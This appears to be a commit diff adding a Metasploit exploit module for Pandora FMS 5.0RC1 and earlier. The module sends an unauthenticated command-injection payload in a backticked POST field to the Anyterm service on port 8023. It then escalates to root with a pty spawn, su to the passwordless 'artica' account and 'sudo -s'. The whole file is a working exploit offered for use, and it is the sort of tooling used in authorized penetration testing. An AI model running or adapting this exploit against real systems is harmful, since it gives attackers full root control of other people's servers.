|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Pandora FMS Remote Code Execution", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower. |
| 19 | + It will leverage an unauthenticated command injection in the Anyterm service on |
| 20 | + port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1 |
| 21 | + the user "artica" is not assigned a password by default, which makes it possible to su |
| 22 | + to this user from the "pandora" user. The "artica" user has access to sudo without a |
| 23 | + password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0 |
| 24 | + and lower force a password for the "artica" user during installation. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ], |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'BadChars' => "", |
| 37 | + 'Compat' => |
| 38 | + { |
| 39 | + 'PayloadType' => 'cmd', |
| 40 | + 'RequiredCmd' => 'generic perl python', |
| 41 | + } |
| 42 | + }, |
| 43 | + 'Platform' => ['unix'], |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + ['Pandora 5.0RC1', {}] |
| 48 | + ], |
| 49 | + 'Privileged' => true, |
| 50 | + 'DisclosureDate' => "Jan 29 2014", |
| 51 | + 'DefaultTarget' => 0)) |
| 52 | + |
| 53 | + register_options( |
| 54 | + [ |
| 55 | + Opt::RPORT(8023), |
| 56 | + OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']), |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def on_new_session(client) |
| 61 | + print_status("#{peer} - Trying to escalate privileges to root") |
| 62 | + [ |
| 63 | + # ignore SIGHUP so the server doesn't kill our root shell |
| 64 | + "trap '' HUP", |
| 65 | + # Spawn a pty for su/sudo |
| 66 | + "python -c 'import pty;pty.spawn(\"/bin/sh\")'", |
| 67 | + # Su to the passwordless "artica" account |
| 68 | + "su - artica", |
| 69 | + # The "artica" use has sudo rights without the need for a |
| 70 | + # password, thus gain root priveleges |
| 71 | + "sudo -s", |
| 72 | + ].each do |command| |
| 73 | + vprint_status(command) |
| 74 | + client.shell_write(command + "\n") |
| 75 | + end |
| 76 | + |
| 77 | + super |
| 78 | + end |
| 79 | + |
| 80 | + def check |
| 81 | + # Check version |
| 82 | + print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway") |
| 83 | + |
| 84 | + res = send_request_cgi({ |
| 85 | + 'method' => 'GET', |
| 86 | + 'uri' => normalize_uri(target_uri.path, "anyterm.html") |
| 87 | + }) |
| 88 | + |
| 89 | + if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway") |
| 90 | + print_good("#{peer} - Pandora FMS Remote Gateway Detected!") |
| 91 | + return Exploit::CheckCode::Detected |
| 92 | + end |
| 93 | + |
| 94 | + return Exploit::CheckCode::Safe |
| 95 | + end |
| 96 | + |
| 97 | + def exploit |
| 98 | + print_status("#{peer} - Sending payload") |
| 99 | + res = send_request_cgi({ |
| 100 | + 'method' => 'POST', |
| 101 | + 'uri' => normalize_uri(target_uri.path, "/anyterm-module"), |
| 102 | + 'vars_post' => { |
| 103 | + 'a' => "open", |
| 104 | + 'p' => "`#{payload.encoded}`" |
| 105 | + } |
| 106 | + }) |
| 107 | + |
| 108 | + if !res || res.code != 200 |
| 109 | + fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") |
| 110 | + end |
| 111 | + end |
| 112 | + |
| 113 | +end |
0 commit comments